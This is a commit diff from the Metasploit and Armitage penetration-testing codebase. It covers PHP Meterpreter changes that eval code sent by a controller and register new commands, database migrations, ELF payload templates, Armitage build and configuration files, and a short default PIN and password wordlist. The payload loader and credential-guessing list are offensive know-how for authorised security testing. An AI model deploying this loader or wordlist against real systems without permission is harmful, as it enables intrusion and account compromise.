@@ -813,6 +893,9 @@ function stdapi_registry_create_key($req, &$pkt) {
}
if (!function_exists('stdapi_registry_close_key')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_close_key');
}
function stdapi_registry_close_key($req, &$pkt) {
if (is_windows() and is_callable('reg_open_key')) {
global $registry_handles;
@@ -831,6 +914,9 @@ function stdapi_registry_close_key($req, &$pkt) {
}
if (!function_exists('stdapi_registry_query_value')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_query_value');
}
function stdapi_registry_query_value($req, &$pkt) {
if (is_windows() and is_callable('reg_open_key')) {
global $registry_handles;
@@ -868,6 +954,9 @@ function stdapi_registry_query_value($req, &$pkt) {
}
if (!function_exists('stdapi_registry_set_value')) {
if (is_windows() and is_callable('reg_open_key')) {
register_command('stdapi_registry_set_value');
}
function stdapi_registry_set_value($req, &$pkt) {
if (is_windows() and is_callable('reg_open_key')) {
global $registry_handles;
Binary file not shown.
Executable → Regular
BIN
View File
Binary file not shown.
+21 -3
View File
@@ -30,6 +30,18 @@ if (!isset($GLOBALS['readers'])) {
$GLOBALS['readers'] = array();
}
# global list of extension commands
if (!isset($GLOBALS['commands'])) {
$GLOBALS['commands'] = array("core_loadlib");
}
function register_command($c) {
global $commands;
if (! in_array($c, $commands)) {
array_push($commands, $c);
}
}
function my_print($str) {
#error_log($str);
}
@@ -389,14 +401,20 @@ function core_shutdown($req, &$pkt) {
# isn't compressed before eval'ing it
# TODO: check for zlib support and decompress if possible
function core_loadlib($req, &$pkt) {
global $commands;
my_print("doing core_loadlib");
$data_tlv = packet_get_tlv($req, TLV_TYPE_DATA);
if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
return ERROR_FAILURE;
} else {
eval($data_tlv['value']);
return ERROR_SUCCESS;
}
$tmp = $commands;
eval($data_tlv['value']);
$new = array_diff($commands, $tmp);
foreach ($new as $meth) {
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, $meth));
}
return ERROR_SUCCESS;
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Executable
+388
View File
@@ -0,0 +1,388 @@
# EXTENSIONS => CONTENT TYPE
csh: application/x-csh
x_t: model/vnd.parasolid.transmit.text
kpt: application/vnd.kde.kpresenter
vst: application/vnd.visio
ksp: application/vnd.kde.kspread
fsc: application/vnd.fsc.weblaunch
vcs: text/x-vcalendar
hvs: application/vnd.yamaha.hv-script
seml: application/vnd.sealed.eml
lzh: application/octet-stream
movie: video/x-sgi-movie
wav: audio/x-wav
tbz2: application/x-gtar
plt: application/vnd.hp-HPGL
3gpp: video/3gpp
eol: audio/vnd.digital-winds
vsw: application/vnd.visio
rtf: text/rtf
rgb: image/x-rgb
midi: audio/x-midi
sit: application/x-stuffit
mov: video/quicktime
kfo: application/vnd.kde.kformula
rdf: application/rdf+xml
wpd: application/vnd.wordperfect
hbc: application/vnd.hbci
ogg: application/ogg
dwf: x-drawing/dwf
pbm: image/x-portable-bitmap
cpp: text/plain
smp3: audio/vnd.sealedmedia.softseal.mpeg
html: text/html
igs: model/iges
dwg: image/vnd.dwg
see: application/vnd.seemail
ram: audio/x-pn-realaudio
jad: text/vnd.sun.j2me.app-descriptor
iges: model/iges
pot: application/powerpoint
exe: application/octet-stream
siv: application/sieve
wml: text/vnd.wap.wml
hlp: text/plain
pkd: application/vnd.hbci
ice: x-conference/x-cooltalk
ustar: application/x-ustar
vis: application/vnd.visionary
pkipath: application/pkix-pkipath
ecelp4800: audio/vnd.nuera.ecelp4800
tgz: application/x-gtar
roff: text/troff
ltx: application/x-latex
nim: video/vnd.nokia.interleaved-multimedia
qcp: audio/QCELP
ai: application/postscript
sppt: application/vnd.sealed.ppt
igx: application/vnd.micrografx.igx
tcl: application/x-tcl
viv: video/vnd.vivo
css: text/css
wpl: application/vnd.ms-wpl
ami: application/vnd.amiga.ami
l16: audio/L16
vivo: video/vnd.vivo
dat: text/plain
vrml: x-world/x-vrml
pqa: application/vnd.palm
request: application/vnd.nervana
oprc: application/vnd.palm
vbk: audio/vnd.nortel.vbk
pki: application/pkixcmp
ras: image/x-cmu-raster
asc: text/plain
kom: application/vnd.hbci
jpeg: image/jpeg
sem: application/vnd.sealed.eml
chrt: application/vnd.kde.kchart
tif: image/tiff
cil: application/vnd.ms-artgalry
xwd: image/x-xwindowdump
dgn: image/x-vnd.dgn
mxu: video/vnd.mpegurl
csv: text/comma-separated-values
kon: application/vnd.kde.kontour
png: image/png
bkm: application/vnd.nervana
sxl: application/vnd.sealed.xls
xfdf: application/vnd.adobe.xfdf
snd: audio/basic
dl: video/dl
sxls: application/vnd.sealed.xls
karbon: application/vnd.kde.karbon
ico: image/vnd.microsoft.icon
sus: application/vnd.sus-calendar
pdb: x-chemical/x-pdb
wif: application/watcherinfo+xml
ser: application/x-java-serialized-object
xmt_txt: model/vnd.parasolid.transmit.text
upa: application/vnd.hbci
pnm: image/x-portable-anymap
jar: application/x-java-archive
qt: video/quicktime
tsv: text/tab-separated-values
rtx: text/richtext
mdi: image/vnd.ms-modi
rcprofile: application/vnd.ipunplugged.rcprofile
gl: video/gl
me: application/x-troff-me
man: application/x-troff-man
tr: text/troff
amr: audio/AMR
wp5: application/wordperfect5.1
pdf: application/pdf
pgb: image/vnd.globalgraphics.pgb
au: audio/basic
avi: video/x-msvideo
qxb: application/vnd.Quark.QuarkXPress
wp: application/wordperfect5.1
wmlsc: application/vnd.wap.wmlscriptc
wbxml: application/vnd.wap.wbxml
s1a: application/vnd.sealedmedia.softseal.pdf
saf: application/vnd.yamaha.smaf-audio
gtar: application/x-gtar
Z: application/x-compressed
crl: application/pkix-crl
pti: application/vnd.pvi.ptid1
rdz: application/vnd.data-vision.rdz
aif: audio/x-aiff
flo: application/vnd.micrografx.flo
qxd: application/vnd.Quark.QuarkXPress
rpm: audio/x-pn-realaudio-plugin
djv: image/vnd.djvu
jpe: image/jpeg
kne: application/vnd.Kinar
lvp: audio/vnd.lucent.voice
stml: application/vnd.sealedmedia.softseal.html
p7c: application/pkcs7-mime
dms: application/octet-stream
s1e: application/vnd.sealed.xls
sdf: application/vnd.Kinar
sc: application/vnd.ibm.secure-container
jnlp: application/x-java-jnlp-file
dvi: application/x-dvi
smov: video/vnd.sealedmedia.softseal.mov
jisp: application/vnd.jisp
aifc: audio/x-aiff
latex: application/x-latex
cc: text/plain
s1g: image/vnd.sealedmedia.softseal.gif
wv: application/vnd.wv.csp+wbxml
mseq: application/vnd.mseq
jpg: image/jpeg
mmf: application/vnd.smaf
xmt_bin: model/vnd.parasolid.transmit.binary
s1h: application/vnd.sealedmedia.softseal.html
mpc: application/vnd.mophun.certificate
hdf: application/x-hdf
stk: application/hyperstudio
txd: application/vnd.genomatix.tuxedo
ent: application/vnd.nervana
xml: text/xml
aiff: audio/x-aiff
sh: application/x-sh
mpe: video/mpeg
s1j: image/vnd.sealedmedia.softseal.jpg
psid: audio/prs.sid
mpga: audio/mpeg
pgm: image/x-portable-graymap
si: text/vnd.wap.si
stm: application/vnd.sealedmedia.softseal.html
lbd: application/vnd.llamagraphics.life-balance.desktop
flw: application/vnd.kde.kivio
mpg: video/mpeg
c: text/plain
sgi: image/vnd.sealedmedia.softseal.gif
zip: application/zip
ecelp7470: audio/vnd.nuera.ecelp7470
lbe: application/vnd.llamagraphics.life-balance.exchange+xml
qxl: application/vnd.Quark.QuarkXPress
p10: application/pkcs10
bpd: application/vnd.hbci
ief: image/ief
gz: application/x-gzip
doc: application/word
efif: application/vnd.picsel
jpm: image/jpm
hpgl: application/vnd.hp-HPGL
s1m: audio/vnd.sealedmedia.softseal.mpeg
xhtml: application/xhtml+xml
xpm: image/x-xpixmap
ms: application/x-troff-ms
bcpio: application/x-bcpio
sl: text/vnd.wap.sl
wrl: x-world/x-vrml
s1n: image/vnd.sealed.png
irm: application/vnd.ibm.rights-management
pgp: application/octet-stream
entity: application/vnd.nervana
mcd: application/vnd.mcd
ecelp9600: audio/vnd.nuera.ecelp9600
kwd: application/vnd.kde.kword
gif: image/gif
sdo: application/vnd.sealed.doc
cer: application/pkix-cert
m4u: video/vnd.mpegurl
rst: text/prs.fallenstein.rst
htm: text/html
mxmf: audio/vnd.nokia.mobile-xmf
psb: application/vnd.3gpp.pic-bw-small
knp: application/vnd.Kinar
cab: application/vnd.ms-cab-compressed
mj2: video/MJ2
sgm: text/sgml
wbmp: image/vnd.wap.wbmp
p7m: application/pkcs7-mime
spng: image/vnd.sealed.png
lha: application/octet-stream
s1p: application/vnd.sealed.ppt
texi: application/x-texinfo
s1q: video/vnd.sealedmedia.softseal.mov
troff: text/troff
h: text/plain
shtml: text/html
msh: model/mesh
irp: application/vnd.irepository.package+xml
rct: application/prs.nprend
smht: application/vnd.sealed.mht
s11: video/vnd.sealed.mpeg1
htke: application/vnd.kenameaapp
ps: application/postscript
mpm: application/vnd.blueice.multipass
dfac: application/vnd.dreamfactory
pvb: application/vnd.3gpp.pic-bw-var
lrm: application/vnd.ms-lrm
smh: application/vnd.sealed.mht
mpn: application/vnd.mophun.application
spd: application/vnd.sealedmedia.softseal.pdf
tiff: image/tiff
jp2: image/jp2
rpss: application/vnd.nokia.radio-presets
qxt: application/vnd.Quark.QuarkXPress
wmlc: application/vnd.wap.wmlc
rpst: application/vnd.nokia.radio-preset
etx: text/x-setext
bmp: image/bmp
s14: video/vnd.sealed.mpeg4
\"123\": application/vnd.lotus-1-2-3
mpp: application/vnd.ms-project
spf: application/vnd.yamaha.smaf-phrase
kar: audio/x-midi
mid: audio/x-midi
3gp: video/3gpp
3g2: video/3gpp2
hqx: application/mac-binhex40
p7s: application/pkcs7-signature
ppm: image/x-portable-pixmap
pspimage: image/x-paintshoppro
cdf: application/netcdf
texinfo: application/x-texinfo
sjp: image/vnd.sealedmedia.softseal.jpg
wbs: application/vnd.criticaltools.wbs+xml
emm: application/vnd.ibm.electronic-media
s1w: application/vnd.sealed.doc
ra: audio/x-realaudio
jpx: image/jpx
evc: audio/EVRC
mif: application/x-mif
qwd: application/vnd.Quark.QuarkXPress
mp2: video/mpeg
spdf: application/vnd.sealedmedia.softseal.pdf
tbz: application/x-gtar
txt: text/plain
x_b: model/vnd.parasolid.transmit.binary
mp3: audio/mpeg
class: application/x-java-vm
smo: video/vnd.sealedmedia.softseal.mov
mp4: video/vnd.objectvideo
m4v: video/x-m4v
htx: text/html
hbci: application/vnd.hbci
tex: application/x-tex
vsc: application/vnd.vidsoft.vidconference
wqd: application/vnd.wqd
mfm: application/vnd.mfmp
sgml: text/sgml
smp: audio/vnd.sealedmedia.softseal.mpeg
curl: application/vnd.curl
cw: application/prs.cww
djvu: image/vnd.djvu
tga: image/targa
vsd: application/vnd.visio
t: text/troff
wtb: application/vnd.webturbo
spn: image/vnd.sealed.png
plb: application/vnd.3gpp.pic-bw-large
pps: application/powerpoint
yaml: text/x-yaml
psp: image/x-paintshoppro
mjp2: video/MJ2
sms: application/vnd.3gpp.sms
hvd: application/vnd.yamaha.hv-dic
acutc: application/vnd.acucorp
ppt: application/powerpoint
les: application/vnd.hhe.lesson-player
vcf: text/x-vcard
sjpg: image/vnd.sealedmedia.softseal.jpg
kwt: application/vnd.kde.kword
sic: application/vnd.wap.sic
spp: application/vnd.sealed.ppt
cmc: application/vnd.cosmocaller
dot: application/word
sv4cpio: application/x-sv4cpio
cpio: application/x-cpio
sswf: video/vnd.sealed.swf
silo: model/mesh
sid: audio/prs.sid
yml: text/x-yaml
smv: audio/SMV
eps: application/postscript
ptid: application/vnd.pvi.ptid1
wks: application/vnd.lotus-1-2-3
z: application/x-compressed
hpp: text/plain
htmlx: text/html
ani: application/octet-stream
sig: application/pgp-signature
slc: application/vnd.wap.slc
rm: audio/x-pn-realaudio
smpg: video/vnd.sealed.mpeg4
wmls: text/vnd.wap.wmlscript
bin: application/x-mac
mesh: model/mesh
atc: application/vnd.acucorp
pfr: application/font-tdpfr
plj: audio/vnd.everad.plj
rnd: application/prs.nprend
xls: application/excel
tar: application/x-tar
mp3g: video/mpeg
sgif: image/vnd.sealedmedia.softseal.gif
oda: application/oda
sdoc: application/vnd.sealed.doc
kia: application/vnd.kidspiration
prc: application/vnd.palm
req: application/vnd.nervana
xyz: x-chemical/x-xyz
soc: application/sgml-open-catalog
xlt: application/excel
awb: audio/AMR-WB
susp: application/vnd.sus-calendar
xbm: image/x-xbm
ccc: text/vnd.net2phone.commcenter.command
hh: text/plain
qwt: application/vnd.Quark.QuarkXPress
shar: application/x-shar
ssw: video/vnd.sealed.swf
xul: application/vnd.mozilla.xul+xml
kcm: application/vnd.nervana
kpr: application/vnd.kde.kpresenter
cdy: application/vnd.cinderella
nc: application/netcdf
src: application/x-wais-source
sv4crc: application/x-sv4crc
dtd: text/xml
hvp: application/vnd.yamaha.hv-voice
cww: application/prs.cww
vss: application/vnd.visio
rb: application/x-ruby
log: text/plain
swf: application/x-shockwave-flash
flv: video/x-flv
asf: video/x-ms-asf
asx: video/x-ms-asf
wma: audio/x-ms-wma
wax: audio/x-ms-wax
wmv: audio/x-ms-wmv
wvx: video/x-ms-wvx
wm: video/x-ms-wm
wmx: video/x-ms-wmx
wmz: application/x-ms-wmz
wmd: application/x-ms-wmd
m3u: audio/x-mpequrl
rdp: application/rdp
pcap: application/vnd.tcpdump.pcap
torrent: application/x-bittorrent
xlb: application/excel
cue: application/x-cue
@@ -4,7 +4,7 @@ class MigrateCredData < ActiveRecord::Migration
begin # Wrap the whole thing in a giant rescue.
skipped_notes = []
new_creds = []
Msf::DBManager::Note.find(:all).each do |note|
Mdm::Note.find(:all).each do |note|
next unless note.ntype[/^auth\.(.*)/]
service_name = $1
if !service_name
@@ -46,7 +46,7 @@ class MigrateCredData < ActiveRecord::Migration
if candidate_services.size == 1
svc_id = candidate_services.first.id
elsif candidate_services.empty?
Msf::DBManager::Service.new do |svc|
Mdm::Service.new do |svc|
svc.host_id = note.host.id
svc.port = default_port
svc.proto = 'tcp'
@@ -115,7 +115,7 @@ class MigrateCredData < ActiveRecord::Migration
say "Migrating #{new_creds.size} credentials."
new_creds.uniq.each do |note|
Msf::DBManager::Cred.new do |cred|
Mdm::Cred.new do |cred|
cred.service_id = note[0]
cred.user = note[2]
cred.pass = note[3]
@@ -126,7 +126,7 @@ class MigrateCredData < ActiveRecord::Migration
say "Migrating #{skipped_notes.size} notes."
skipped_notes.uniq.each do |note|
Msf::DBManager::Note.new do |new_note|
Mdm::Note.new do |new_note|
new_note.host_id = note.host_id
new_note.ntype = "migrated_auth"
new_note.data = note.data.merge(:migrated_auth_type => note.ntype)
@@ -135,7 +135,7 @@ class MigrateCredData < ActiveRecord::Migration
end
say "Deleting migrated auth notes."
Msf::DBManager::Note.find(:all).each do |note|
Mdm::Note.find(:all).each do |note|
next unless note.ntype[/^auth\.(.*)/]
note.delete
end
@@ -3,7 +3,7 @@ class RequireAdminFlag < ActiveRecord::Migration
# Make the admin flag required.
def self.up
# update any existing records
Msf::DBManager::User.update_all({:admin => true}, {:admin => nil})
Mdm::User.update_all({:admin => true}, {:admin => nil})
change_column :users, :admin, :boolean, :null => false, :default => true
end
@@ -1,13 +1,13 @@
class InetColumns < ActiveRecord::Migration
def self.up
change_column :hosts, :address, 'INET using address::INET'
remove_column :hosts, :address6
end
def self.up
change_column :hosts, :address, 'INET using address::INET'
remove_column :hosts, :address6
end
def self.down
change_column :hosts, :address, :text
add_column :hosts, :address6, :text
end
def self.down
change_column :hosts, :address, :text
add_column :hosts, :address6, :text
end
end
@@ -0,0 +1,9 @@
class RenameWorkspaceMembers < ActiveRecord::Migration
def up
rename_table :project_members, :workspace_members
end
def down
rename_table :workspace_members, :project_members
end
end
+42
View File
@@ -0,0 +1,42 @@
; build with:
; nasm elf_x86_template.s -f bin -o template_x86_linux.bin
BITS 32
org 0x08048000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 1, 1, 1, 9 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 2 ; e_type = ET_EXEC for an executable
dw 3 ; e_machine
dd 1 ; e_version
dd _start ; e_entry
dd phdr - $$ ; e_phoff
dd 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type = PT_LOAD
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd 0xDEADBEEF ; p_filesz
dd 0xDEADBEEF ; p_memsz
dd 7 ; p_flags = rwx
dd 0x1000 ; p_align
phdrsize equ $ - phdr
global _start
_start:
+42
View File
@@ -0,0 +1,42 @@
; build with:
; nasm elf_x86_template.s -f bin -o template_x86_linux.bin
BITS 32
org 0x08048000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 1, 1, 1, 6 ; e_ident
db 1, 0, 0, 0, 0, 0, 0, 0 ;
dw 2 ; e_type = ET_EXEC for an executable
dw 3 ; e_machine
dd 1 ; e_version
dd _start ; e_entry
dd phdr - $$ ; e_phoff
dd 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type = PT_LOAD
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd 0xDEADBEEF ; p_filesz
dd 0xDEADBEEF ; p_memsz
dd 7 ; p_flags = rwx
dd 0x1000 ; p_align
phdrsize equ $ - phdr
global _start
_start:
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,66 @@
1111
1234
2222
3333
4444
5555
6666
7777
8888
9999
0000
4321
3477
5897
12345
12341
123456
1234567
12345678
12341234
44444
11111
111111
1111111
11111111
22222222
33333333
44444444
55555555
66666666
77777777
88888888
99999999
00000000
0000000
000000
00000
000
00
0
09090
7772000
666666
24343
111
123
12
11
1
2
3
4
5
6
7
8
9
0
aa
dvr2580222
abc123
pass
password
admin
administrator
root
@@ -0,0 +1,2 @@
admin
user
+12
View File
@@ -0,0 +1,12 @@
source 'http://rubygems.org'
gem 'rails', '3.2.2'
gem 'authlogic'
gem 'prototype_legacy_helper', '0.0.0', :git => 'git://github.com/jvennix-r7/prototype_legacy_helper.git'
gem 'state_machine', '1.1.2'
gem 'liquid', '2.3.0'
gem 'ice_cube'
gem 'acts_as_list'
gem 'mime-types', '1.18', :git => "git://github.com/rapid7/mime-types.git"
gem 'metasploit_data_models', '0.0.2', :git => "git://github.com/rapid7/metasploit_data_models.git"
gem 'robots', '0.10.1'
+42
View File
@@ -0,0 +1,42 @@
<project name="armitage" default="all" basedir=".">
<property name="project.src" location="src/" />
<property name="project.build" location="bin/" />
<target name="all" depends="init, compile, jar" />
<target name="init">
<tstamp />
<mkdir dir="${project.build}" />
</target>
<target name="compile" depends="init" description="compile the source " >
<javac srcdir="${project.src}/"
destdir="${project.build}"
nowarn="yes"
depend="yes"
debug="true"
optimize="yes"
includeantruntime="fuckno"
>
<classpath path="./lib/jgraphx.jar;./lib/sleep.jar;./lib/msgpack-0.5.1-devel.jar;./lib/postgresql-9.1-901.jdbc4.jar" />
</javac>
</target>
<target name="jar" depends="compile">
<unzip src="lib/sleep.jar" dest="bin" />
<unzip src="lib/jgraphx.jar" dest="bin" />
<unzip src="lib/msgpack-0.5.1-devel.jar" dest="bin" />
<unzip src="lib/postgresql-9.1-901.jdbc4.jar" dest="bin" />
<jar destfile="armitage.jar" basedir="bin" includes="**/*">
<manifest>
<attribute name="Main-Class" value="armitage.ArmitageMain" />
</manifest>
</jar>
</target>
<target name="clean" description="clean up" >
<delete dir="${project.build}"/>
</target>
</project>
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+90
View File
@@ -0,0 +1,90 @@
=============================================================================
Armitage - Cyber Attack Management for Metasploit
=============================================================================
*** http://www.fastandeasyhacking.com ***
1. What is Armitage?
-----------------
Armitage is a graphical cyber attack management tool for Metasploit that
visualizes your targets, recommends exploits, and exposes the advanced
capabilities of the framework.
Advanced users will find Armitage valuable for managing remote Metasploit
instances and collaboration. Armitage's red team collaboration features allow
your team to use the same sessions, share data, and communicate through one
Metasploit instance.
Armitage aims to make Metasploit usable for security practitioners who
understand hacking but don't use Metasploit every day. If you want to learn
Metasploit and grow into the advanced features, Armitage can help you.
2. Documentation
-------------
The documentation for Armitage is located on the Armitage website at:
http://www.fastandeasyhacking.com. Read the FAQ and the Manual for
information on connecting Armitage to Metasploit and using it.
3. Install and Update
----------
To get started, see the manual at http://www.fastandeasyhacking.com
4. Source Code
-----------
This projected is hosted on Google Code at:
http://code.google.com/p/armitage/
5. Disclaimer
----------
Use this code for your development and don't hack systems that you don't
have permission to hack. The existence of this software does not reflect the
opinions or beliefs of my current employers, past employers, future
employers, or any small animals I come into contact with. Enjoy this
software with my blessing. I hope it helps you learn and become a better
security professional.
6. Contact
-------
Report bugs in the issue tracker at:
http://code.google.com/p/armitage/issues/list
E-mail contact@fastandeasyhacking.com with other questions/concerns. Make
sure you peruse the FAQ and Manual first.
7. License
-------
(c) 2010-2012 Raphael Mudge. This project is licensed under the BSD license.
See section 8 for more information.
lib/jgraphx.jar is used here within the terms of the BSD license offered by
JGraphX Ltd. http://www.jgraphx.com/
-
lib/msgpack-0.5.1-devel.jar and lib/postgresql-9.1-901.jdbc4.jar are both
BSD licensed libraries.
-
Some code in src/msf/* comes from msfgui by scriptjunkie.
-
This project uses the LGPL Sleep scripting language with no modifications.
Sleep's source is available at: http://sleep.dashnine.org/
8. The BSD License
---------------
Redistribution and use in source and binary forms are permitted provided
that the above copyright notice and this paragraph are duplicated in all
such forms and that any documentation, advertising materials, and other
materials related to such distribution and use acknowledge that the
software was developed by the copyright holders. The name of the copyright
holders may not be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED ''AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+23
View File
@@ -0,0 +1,23 @@
<html>
<body>
<center><h1>Armitage 1.44-dev</h1></center>
<p>An attack management tool for Metasploit&reg;
<br />Release: 17 May 12</p>
<br />
<p>Developed by:</p>
<ul>
<li>Raphael Mudge (raffi)</li>
</ul>
<p>External code:</p>
<ul>
<li>MSF RPC code by scriptjunkie (BSD license)</li>
<li>JGraph by JGraph Ltd. (BSD license)</li>
</ul>
<p><small>Metasploit&reg; is a registered trademark of Rapid7</small></p>
</body>
</html>
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

+58
View File
@@ -0,0 +1,58 @@
#Armitage Configuration
#Fri Oct 15 18:08:08 EDT 2010
graph.font.font=Monospaced-BOLD-14
console.clear_screen.shortcut=ctrl pressed K
graph.zoom_out.shortcut=ctrl pressed MINUS
graph.save_screenshot.shortcut=ctrl pressed P
console.font_size_reset.shortcut=ctrl pressed 0
console.page_down.shortcut=pressed PAGE_DOWN
graph.arrange_icons_circle.shortcut=ctrl pressed C
graph.selection.color=\#00ff00
graph.zoom_in.shortcut=ctrl pressed EQUALS
console.find.shortcut=ctrl pressed F
console.history_previous.shortcut=pressed UP
console.history_next.shortcut=pressed DOWN
console.page_up.shortcut=pressed PAGE_UP
console.highlight.color=\#0000cc
console.font_size_plus.shortcut=ctrl pressed EQUALS
console.font_size_minus.shortcut=ctrl pressed MINUS
console.foreground.color=\#cccccc
console.background.color=\#000000
console.font.font=Monospaced-BOLD-14
graph.arrange_icons_hierarchical.shortcut=ctrl pressed H
graph.foreground.color=\#cccccc
graph.background.color=\#111111
graph.zoom_reset.shortcut=ctrl pressed 0
console.clear_buffer.shortcut=pressed ESCAPE
graph.edge.color=\#3c6318
graph.arrange_icons_stack.shortcut=ctrl pressed S
graph.edge_highlight.color=\#00ff00
graph.default_layout.layout=stack
application.skin.skin=Nimbus
graph.clear_selection.shortcut=pressed ESCAPE
graph.select_all.shortcut=ctrl pressed A
armitage.required_exploit_rank.string=great
armitage.string.target_view=graph
console.select_all.shortcut=ctrl pressed A
armitage.log_everything.boolean=true
armitage.no_msf_banner.boolean=false
tab.highlight.color=#0000ff
armitage.show_all_commands.boolean=true
armitage.application_title.string=Armitage
console.color_0.color=\#ffffff
console.color_1.color=\#000000
console.color_2.color=\#000080
console.color_3.color=\#009000
console.color_4.color=\#ff0000
console.color_5.color=\#800000
console.color_6.color=\#a000a0
console.color_7.color=\#ff8000
console.color_8.color=\#ffff00
console.color_9.color=\#00ff00
console.color_10.color=\#009090
console.color_11.color=\#00ffff
console.color_12.color=\#0000ff
console.color_13.color=\#ff00ff
console.color_14.color=\#808080
console.color_15.color=\#c0c0c0
console.show_colors.boolean=true
Binary file not shown.

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

+12
View File
@@ -0,0 +1,12 @@
Metasploit's RPC daemon shut down. This is the
service Armitage uses to talk to Metasploit.
When this happens, it means something is wrong.
The developer of Armitage feels your pain from
afar. Would you like help troubleshooting this?
P.S. yes you would--the answer is known and it's
easy to deal with. Click Yes to visit the
troubleshooting guide at:
http://www.fastandeasyhacking.com/nomsfrpcd
+4
View File
@@ -0,0 +1,4 @@
^(..:..:..) \[\*\] (.*) $1 \cA[*]\o $2
^\[\*\] (.*) \cA[*]\o $1
^(..:..:..) \* (.*) $1 \c7*\o $2
^(\w+)> \u$1\o>
Binary file not shown.

After

Width:  |  Height:  |  Size: 398 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 143 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 47 KiB

+11
View File
@@ -0,0 +1,11 @@
^msf> \umsf\u>
^meterpreter > \umeterpreter\u >
^msf > \umsf\u >
^msf (.*?)\((.*?)\) > \umsf\u $1(\c4$2\o) >
^\[\*\] (.*) \cA[*]\o $1
^\[\+\] (.*) \c9[+]\o $1
^\[\-\] (.*) \c4[-]\o $1
^ =\[ (.*) =[\c7 $1
^(=[=\s]+) \cE$1
^(\s*-[-\s]+) \cE$1
^(.*?): (.*) $1\cE:\o $2
+10
View File
@@ -0,0 +1,10 @@
@echo off
set BASE=$$BASE$$
cd "%BASE%"
set PATH=%BASE%ruby\bin;%BASE%java\bin;%BASE%tools;%BASE%svn\bin;%BASE%nmap;%BASE%postgresql\bin;%PATH%
IF NOT EXIST "%BASE%java" GOTO NO_JAVA
set JAVA_HOME="%BASE%java"
:NO_JAVA
set MSF_DATABASE_CONFIG="%BASE%\config\database.yml"
cd "%BASE%msf3"
rubyw msfrpcd -a 127.0.0.1 -U $$USER$$ -P $$PASS$$ -S -f -p $$PORT$$
Binary file not shown.

After

Width:  |  Height:  |  Size: 70 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 67 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 53 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 109 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

+1
View File
@@ -0,0 +1 @@
java -classpath bin:lib/\*:. armitage.ArmitageMain $*
+319
View File
@@ -0,0 +1,319 @@
debug(7 | 34);
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.border.*;
import javax.imageio.*;
import java.awt.*;
import java.awt.event.*;
import msf.*;
import console.*;
import armitage.*;
import graph.*;
import java.awt.image.*;
global('$frame $tabs $menubar $msfrpc_handle $REMOTE');
sub describeHost {
local('$sessions $os @overlay $ver $info');
($sessions, $os, $ver) = values($1, @('sessions', 'os_name', 'os_flavor'));
if (size($sessions) == 0) {
return $1['address'];
}
$info = values($sessions)[0]["info"];
if ("Microsoft Corp." isin $info) {
return $1['address'] . "\nshell session";
}
else {
return $1['address'] . "\n $+ $info";
}
}
sub showHost {
local('$sessions $os @overlay $match $purpose');
($sessions, $os, $match, $purpose) = values($1, @('sessions', 'os_name', 'os_flavor', 'purpose'));
$os = normalize($os);
if ($match eq "") {
$match = $1['os_match'];
}
if ($os eq "Printer" || "*Printer*" iswm $match || "*embedded*" iswm lc($os)) {
return overlay_images(@('resources/printer.png'));
}
else if ($os eq "Windows") {
if ("*2000*" iswm $match || "*95*" iswm $match || "*98*" iswm $match || "*ME*" iswm $match || "*Me*" iswm $match) {
push(@overlay, 'resources/windows2000.png');
}
else if ("*XP*" iswm $match || "*2003*" iswm $match || "*.NET*" iswm $match) {
push(@overlay, 'resources/windowsxp.png');
}
else {
push(@overlay, 'resources/windows7.png');
}
}
else if ($os eq "Mac OS X" || "*apple*" iswm lc($os) || "*mac*os*x*" iswm lc($os)) {
push(@overlay, 'resources/macosx.png');
}
else if ("*linux*" iswm lc($os)) {
push(@overlay, 'resources/linux.png');
}
else if ($os eq "IOS" || "*cisco*" iswm lc($os)) {
push(@overlay, 'resources/cisco.png');
}
else if ("*BSD*" iswm $os) {
push(@overlay, 'resources/bsd.png');
}
else if ($os eq "Solaris") {
push(@overlay, 'resources/solaris.png');
}
else if ("*VMware*" iswm $os) {
push(@overlay, 'resources/vmware.png');
}
else if ($purpose eq "firewall") {
return overlay_images(@('resources/firewall.png'));
}
else {
